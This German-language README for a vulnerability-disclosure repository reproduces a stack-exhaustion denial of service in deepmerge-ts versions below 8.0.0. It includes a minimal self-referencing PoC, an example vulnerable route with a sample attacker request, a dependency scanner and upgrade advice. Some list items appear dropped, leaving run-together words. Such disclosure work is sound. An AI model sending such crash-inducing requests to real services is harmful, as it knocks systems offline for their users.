
Reproduziert einen Denial-of-Service durch Stack-Erschöpfung in deepmerge-ts vor 8.0.0, dokumentiert die Ausnutzung und enthält einen Scanner für verwundbare Abhängigkeitsbereiche.
Ich habe einen Stack-Erschöpfungsfehler in deepmerge-ts-Versionen vor 8.0.0 reproduziert.
Das Interessante daran ist, dass der Absturz kein riesiges verschachteltes Objekt benötigt. Er entsteht durch Objektidentität. Wenn beide zusammenzuführenden Werte über dieselbe Eigenschaft auf sich selbst zurückzeigen, besucht die Merge-Routine weiterhin dasselbe Paar, bis Node.js kein Stack-Speicher mehr hat.
Advisory: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Schweregrad: Hoch Auswirkung: Verfügbarkeit
Die meisten Merge-Tests verwenden gewöhnliche JSON-förmige Daten:
{
user: {
name: "alice"
}
}
Diese Daten sind azyklisch. JavaScript-Objekte können auch Referenzen auf sich selbst oder auf ein anderes Objekt im selben Graphen enthalten. Diese Fälle sind leicht zu übersehen, wenn die Testsuite nur JSON-Fixtures verwendet.
Der kleinste fehlschlagende Graph besteht aus zwei separaten Objekten mit derselben Selbstreferenz:
const left = {};
left.self = left;
const right = {};
right.self = right;
Beim Zusammenführen von Records werden die aufzählbaren Schlüssel durchlaufen, die Werte für jeden Schlüssel gesammelt und die Merge-Routine erneut für diese Werte aufgerufen. In den betroffenen Versionen gibt es keine Zyklusprüfung und keine Nachverfolgung bereits gesehener Objektpaare.
Der Schlüssel self führt die Ausführung zurück in denselben Zustand:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
Dasselbe Verhalten ist über deepmergeInto, deepmergeCustom und deepmergeIntoCustom erreichbar, wenn sie dieselbe Art von Graphen erhalten.
Das Paket ist in package.json auf die betroffene Version 7.1.6 festgelegt.
npm install
npm run poc
Der vollständige Test befindet sich in poc.mjs. Er führt beide öffentlichen APIs lokal aus und fängt den erwarteten RangeError ab, sodass das Ergebnis leicht lesbar ist.
Der wichtige Teil des PoCs ist:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
Erwartete Ausgabe:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
Der PoC gibt Erfolg zurück, wenn das betroffene Verhalten beobachtet wird. Wenn das Paket aktualisiert wird und beide Aufrufe abgeschlossen werden, gibt er ein sauberes Ergebnis aus und beendet sich mit Status 1, weil das Problem nicht reproduziert wurde.
Es gibt kein magisches zyklisches JSON-Payload. Ein normaler JSON-Parser erzeugt einen azyklischen Graphen, sodass dies nicht ausgelöst wird, indem man einfach einen sehr tiefen JSON-Body an Folgendes sendet:
deepmerge(defaults, req.body);
Die Anwendung muss den Zyklus erzeugen oder erhalten, bevor die Merge-Funktion aufgerufen wird. Das kann in Graph-Hydrierungscode, in einem referenzerhaltenden Deserializer, bei der Wiederverwendung von Cache- oder Session-Objekten oder in einer benutzerdefinierten Logik passieren, die Datensätze miteinander verknüpft.
Hier ist ein kleines Beispiel einer verwundbaren Integration. Die Funktion hydrate verwandelt ein vom Benutzer kontrolliertes Flag in eine Selbstreferenz:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
Wenn eine HTTP-Route mergeRequest aufruft, kann ein Angreifer Folgendes senden:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
Beide Seiten enthalten nun eine self-Referenz. Wenn die Route deepmerge(left, right) aufruft, folgt die Bibliothek left.self und right.self, erhält erneut dasselbe Paar und rekursiert, bis V8 eine Ausnahme auslöst.
Eine Anwendung muss nicht diese exakte hydrate-Funktion verwenden. Die wichtigen Bedingungen sind:
Wenn die Route öffentlich ist und die Ausnahme nicht abgefangen wird, kann eine einzelne Anfrage den Node.js-Worker stoppen. Wenn ein Prozess-Supervisor ihn automatisch neu startet, können wiederholte Anfragen den Dienst in einer Neustartschleife halten. Wenn eine Authentifizierung erforderlich ist, benötigt der Angreifer weiterhin Zugriff auf diese Route.
Dies ist ein Denial-of-Service-Problem. Der Fehler ermöglicht keine Codeausführung, keinen Dateizugriff und keine Möglichkeit, Merge-Eingaben aus einer anderen Anfrage zu lesen.
Diese Unterscheidung ist wichtig, wenn man eine reale Anwendung bewertet. Der folgende Request-Body ist selbst kein Zyklus:
{
"self": true
}
Er wird erst relevant, wenn der Anwendungscode self: true als Referenz auf das Wurzelobjekt interpretiert oder wenn ein anderer Parser Objektreferenzen wiederherstellt. Das Paket sollte den resultierenden Graphen dennoch sicher behandeln, aber die Remote-Ausnutzbarkeit hängt vom Code rund um das Paket ab.
Die direkte Auswirkung ist ein Verfügbarkeitsverlust durch synchrone Stack-Erschöpfung.
Je nach umgebender Anwendung kann das Ergebnis Folgendes sein:
RangeError fehlschlägtDieses Problem hat für sich genommen keine Auswirkung auf Vertraulichkeit oder Integrität. Der Schweregrad steigt, wenn die Merge-Route nicht authentifiziert ist, aus dem öffentlichen Internet erreichbar ist oder von einem anderen Dienst automatisch erneut versucht wird.
Ich habe scanner.mjs hinzugefügt, um betroffene Abhängigkeitsreferenzen zu finden, bevor der Crash-PoC ausgeführt wird. Er prüft:
package.jsonpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlFühren Sie ihn gegen ein Projektverzeichnis aus:
node scanner.mjs /path/to/project
Für CI oder andere Werkzeuge verwenden Sie die JSON-Ausgabe:
node scanner.mjs /path/to/project --json
Beispielergebnis für dieses Repository:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
Der Scanner beendet sich mit Status 1, wenn er eine betroffene Version oder einen betroffenen Bereich findet. Git-URLs und andere Nicht-Semver-Quellen werden mit REVIEW markiert, anstatt stillschweigend als sicher behandelt zu werden.
Die direkte Lösung besteht darin, auf deepmerge-ts >= 8.0.0 zu aktualisieren und die Lockfile zu erneuern.
npm install deepmerge-ts@^8.0.0
Die Anwendung sollte außerdem entscheiden, wie mit rekursiven Eingaben umgegangen wird. Sinnvolle Optionen sind:
Das Abfangen des Fehlers ist nützlich für die Prozessstabilität, beseitigt aber nicht das zugrunde liegende Denial of Service, wenn ein Angreifer die Anfrage wiederholen kann. Die Aktualisierung der Abhängigkeit und die Behandlung rekursiver Eingaben sind die wichtigen Korrekturen.
Ändern Sie die Abhängigkeit auf 8.0.1, installieren Sie neu und führen Sie denselben PoC aus:
npm install [email protected]
npm run poc
Bei der gepatchten Version werden beide Aufrufe abgeschlossen und das Skript gibt Folgendes aus:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
Der PoC und der Scanner in diesem Repository werden unter der MIT-Lizenz veröffentlicht.